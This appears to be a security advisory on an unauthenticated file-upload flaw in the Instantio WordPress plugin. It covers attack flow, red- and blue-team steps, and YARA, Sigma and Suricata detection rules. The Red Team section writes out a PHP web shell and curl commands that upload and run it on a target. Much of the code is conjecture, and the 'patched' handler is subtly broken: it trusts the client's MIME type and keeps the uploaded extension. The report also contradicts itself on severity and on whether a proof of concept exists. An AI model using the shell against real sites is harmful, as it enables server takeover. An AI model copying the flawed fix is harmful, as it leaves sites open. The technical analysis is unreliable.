CVE-2025-47550

Executive Summary

CVE-2025-47550 is a critical Unrestricted Upload of File with Dangerous Type vulnerability (CWE-434) affecting the Themefic Instantio WordPress plugin, versions up to and including 3.3.16. This flaw allows an unauthenticated attacker to upload a web shell to the target server, leading to full remote code execution, data exfiltration, and potential lateral movement within the hosting environment. The vulnerability resides in the file upload functionality, which fails to properly validate file types or restrict uploads to safe directories. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available, making this a high-priority zero-day for WordPress site administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. The lack of a patch means that all sites running Instantio <= 3.3.16 are at risk. Attackers may target the plugin’s update mechanism or directly exploit the upload endpoint. Administrators should immediately disable the plugin and monitor for any unauthorized file uploads.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.6 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability cannot affect other components.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification possible.
• Availability Impact: Low (A:L) – Limited service disruption.

Threat Level: High. Despite the medium CVSS score, the ability to upload a web shell without authentication makes this a critical risk for WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the file upload handler of the Instantio plugin. The plugin likely uses a function like wp_handle_upload() or a custom upload routine that does not enforce file type restrictions. An attacker can craft a malicious PHP file (e.g., shell.php) and send it via a POST request to the vulnerable endpoint. The plugin may store the file in the WordPress uploads directory (/wp-content/uploads/) or a plugin-specific directory, allowing the attacker to access it directly via a web request.

Root Cause: The plugin fails to validate the MIME type or file extension of uploaded files. It also does not restrict uploads to safe directories or rename files to prevent execution.

Attack Flow:

1. Attacker identifies a WordPress site running Instantio <= 3.3.16.
2. Attacker sends a POST request to the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=instantio_upload) with a PHP file containing a web shell.
3. The plugin saves the file to a web-accessible directory.
4. Attacker accesses the uploaded file via a browser, executing the web shell.
5. Attacker gains remote code execution on the server.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. A typical vulnerable implementation might look like:

// Vulnerable code (Instantio <= 3.3.16)
function instantio_handle_upload() {
    if (isset($_FILES['file'])) {
        $upload_dir = wp_upload_dir();
        $target_file = $upload_dir['path'] . '/' . basename($_FILES['file']['name']);
        move_uploaded_file($_FILES['file']['tmp_name'], $target_file);
        echo 'File uploaded: ' . $target_file;
    }
    wp_die();
}
add_action('wp_ajax_nopriv_instantio_upload', 'instantio_handle_upload');

A patched version would include:

// Patched code (hypothetical)
function instantio_handle_upload() {
    if (isset($_FILES['file'])) {
        $allowed_types = array('image/jpeg', 'image/png', 'image/gif');
        $file_type = $_FILES['file']['type'];
        if (!in_array($file_type, $allowed_types)) {
            wp_die('Invalid file type.');
        }
        $upload_dir = wp_upload_dir();
        $target_file = $upload_dir['path'] . '/' . uniqid() . '.' . pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
        move_uploaded_file($_FILES['file']['tmp_name'], $target_file);
        echo 'File uploaded: ' . $target_file;
    }
    wp_die();
}
add_action('wp_ajax_nopriv_instantio_upload', 'instantio_handle_upload');

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress on a local server (e.g., XAMPP, Docker).
2. Install Instantio plugin version 3.3.16.
3. Identify the upload endpoint (e.g., via source code review or fuzzing).

Exploitation Steps:

1. Create a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

2. Send a POST request to the vulnerable endpoint:

   curl -X POST -F "file=@shell.php" http://target.com/wp-admin/admin-ajax.php?action=instantio_upload
   

3. Access the uploaded shell:

   curl http://target.com/wp-content/uploads/shell.php?cmd=id
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

1. Monitor for unusual file uploads to /wp-content/uploads/ or plugin directories.
2. Check for PHP files in upload directories that are not images.
3. Review web server logs for POST requests to admin-ajax.php with action=instantio_upload.
4. Use file integrity monitoring to detect new PHP files in web-accessible directories.

Hunting Query (Splunk):

index=web sourcetype=access_combined uri="/wp-admin/admin-ajax.php" form_data=*instantio_upload* | table _time, src_ip, uri, form_data

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • shell.php: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
• Network Indicators:
  • POST requests to /wp-admin/admin-ajax.php with action=instantio_upload
  • Outbound connections from the web server to unknown IPs (C2)
• File System Indicators:
  • Unexpected .php files in /wp-content/uploads/
  • Files with names like shell.php, cmd.php, backdoor.php
• Log Indicators:
  • Web server logs showing 200 responses to /wp-content/uploads/*.php with query parameters like ?cmd=

Detection Engineering

YARA Rule

rule CVE_2025_47550_Instantio_Webshell {
    meta:
        description = "Detects PHP web shells uploaded via CVE-2025-47550"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-47550"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $exec_func = "exec("
        $passthru_func = "passthru("
    condition:
        $php_tag and any of ($system_func, $shell_func, $exec_func, $passthru_func)
}

Sigma Rule

title: CVE-2025-47550 Instantio File Upload Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to the Instantio upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: 'action=instantio_upload'
    condition: selection
falsepositives:
    - Legitimate plugin usage (if any)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47550 Instantio File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=instantio_upload"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete the Instantio plugin until a patch is released.
2. Web Application Firewall (WAF) – Block POST requests to admin-ajax.php with action=instantio_upload.
3. File Upload Restrictions – Use .htaccess to deny execution of PHP files in upload directories:

   <FilesMatch "\.php$">
       Require all denied
   </FilesMatch>
   

4. Monitor Logs – Review web server logs for exploitation attempts.

Long-Term Fixes:

1. Apply Patch – Once available, update to the patched version.
2. Code Review – Ensure all file upload functions validate MIME types and extensions.
3. Principle of Least Privilege – Restrict file upload permissions to only necessary directories.

Workarounds:

• Use a security plugin (e.g., Wordfence) to block malicious file uploads.
• Implement a custom upload handler that renames files and restricts types.

Valters IT – DevSecOps & Cyber Threat Intelligence